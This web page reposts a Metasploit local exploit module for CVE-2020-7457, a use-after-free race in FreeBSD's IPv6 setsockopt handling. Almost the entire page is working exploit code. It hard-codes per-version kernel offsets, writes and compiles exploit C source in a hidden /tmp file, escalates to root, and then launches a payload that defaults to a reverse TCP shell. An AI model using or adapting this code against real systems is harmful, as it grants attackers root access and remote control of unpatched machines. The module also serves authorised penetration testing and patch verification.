HackDig : Dig high-quality web security articles for hackers

FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation

2020-08-01 01:47
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = GreatRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Post::File  include Msf::Post::Unix  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',        'Description' => %q{          This module exploits a race and use-after-free vulnerability in the          FreeBSD kernel IPv6 socket handling. A missing synchronization lock          in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits          racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.          This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`          struct in freed memory to achieve arbitrary kernel read/write.          This module has been tested successfully on:          FreeBSD 9.0-RELEASE #0 (amd64);          FreeBSD 9.1-RELEASE #0 r243825 (amd64);          FreeBSD 9.2-RELEASE #0 r255898 (amd64);          FreeBSD 9.3-RELEASE #0 r268512 (amd64);          FreeBSD 12.0-RELEASE r341666 (amd64); and          FreeBSD 12.1-RELEASE r354233 (amd64).        },        'License' => MSF_LICENSE,        'Author' =>          [            'Andy Nguyen', # @theflow0 - discovery and exploit            'bcoles' # metasploit          ],        'DisclosureDate' => '2020-07-07',        'Platform' => ['bsd'], # FreeBSD        'Arch' => [ARCH_X64],        'SessionTypes' => ['shell'],        'References' =>          [            ['CVE', '2020-7457'],            ['EDB', '48644'],            ['PACKETSTORM', '158341'],            ['URL', 'https://hackerone.com/reports/826026'],            ['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6'],            ['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],            ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],            ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']          ],        'Targets' =>          [            [              'Automatic',              {}            ],            [              'FreeBSD 9.0-RELEASE #0',              {                allproc: '0xf01e40'              }            ],            [              'FreeBSD 9.1-RELEASE #0 r243825',              {                allproc: '0x1028880'              }            ],            [              'FreeBSD 9.2-RELEASE #0 r255898',              {                allproc: '0x11c9ba0'              }            ],            [              'FreeBSD 9.3-RELEASE #0 r268512',              {                allproc: '0x1295800'              }            ],            [              'FreeBSD 12.0-RELEASE r341666',              {                allproc: '0x1df3c38'              }            ],            [              'FreeBSD 12.1-RELEASE r354233',              {                allproc: '0x1df7648'              }            ],          ],        'DefaultOptions' =>          {            'PAYLOAD' => 'bsd/x64/shell_reverse_tcp',            'PrependFork' => true,            'WfsDelay' => 10          },        'Notes' =>          {            'Stability' => [CRASH_OS_RESTARTS],            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]          },        'DefaultTarget' => 0      )    )    register_advanced_options([      OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),      OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])    ])  end  def base_dir    datastore['WritableDir'].to_s  end  def upload(path, data)    print_status("Writing '#{path}' (#{data.size} bytes) ...")    rm_f(path)    write_file(path, data)    register_file_for_cleanup(path)  end  def strip_comments(c_code)    c_code.gsub(%r{/*.*?*/}m, '').gsub(%r{^s*//.*$}, '')  end  def select_target(kernel_version)    targets.each do |t|      return t if kernel_version.include?(t.name)    end    nil  end  def check    kernel_version = cmd_exec('uname -v').to_s    unless kernel_version.include?('FreeBSD')      return CheckCode::Safe('Target system is not FreeBSD')    end    kernel_arch = cmd_exec('uname -m').to_s    unless kernel_arch.include?('64')      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")    end    vprint_good("System architecture #{kernel_arch} is supported")    unless select_target(kernel_version)      return CheckCode::Safe("No target for #{kernel_version}")    end    vprint_good("#{kernel_version} appears vulnerable")    unless command_exists?('cc')      return CheckCode::Safe('cc is not installed')    end    vprint_good('cc is installed')    CheckCode::Appears  end  def exploit    if is_root?      unless datastore['ForceExploit']        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')      end    end    unless writable?(base_dir)      fail_with(Failure::BadConfig, "#{base_dir} is not writable")    end    if target.name == 'Automatic'      kernel_version = cmd_exec('uname -v').to_s      my_target = select_target(kernel_version)      unless my_target        fail_with(Failure::NoTarget, "No target for #{kernel_version}")      end    else      my_target = target    end    print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')    if my_target.name.start_with?('FreeBSD 12')      exploit_data.gsub!('// #define FBSD12', '#define FBSD12')    end    exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")    exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")    exploit_data.gsub!(/#define NUM_KQUEUES 0x100/, "#define NUM_KQUEUES #{datastore['NUM_SPRAY']}")    exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")    upload("#{exploit_path}.c", strip_comments(exploit_data))    print_status("Compiling #{exploit_path}.c ...")    output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")    register_file_for_cleanup(exploit_path)    unless output.blank?      print_error(output)      fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")    end    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    upload_and_chmodx(payload_path, generate_payload_exe)    register_file_for_cleanup(payload_path)    timeout = 30    print_status("Launching exploit (timeout: #{timeout}s) ...")    output = cmd_exec(exploit_path, nil, timeout).to_s    output.each_line { |line| vprint_status line.chomp }    sleep(3)    print_status(cmd_exec('id').to_s)    unless is_root?      fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')    end    print_good('Success! Executing payload...')    cmd_exec("#{payload_path} & echo ")  endend


Source: 8000800202-BLW/eussi/moc.ytirucesxc

Read:189 | Comments:0 | Tags:No Tag

“FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud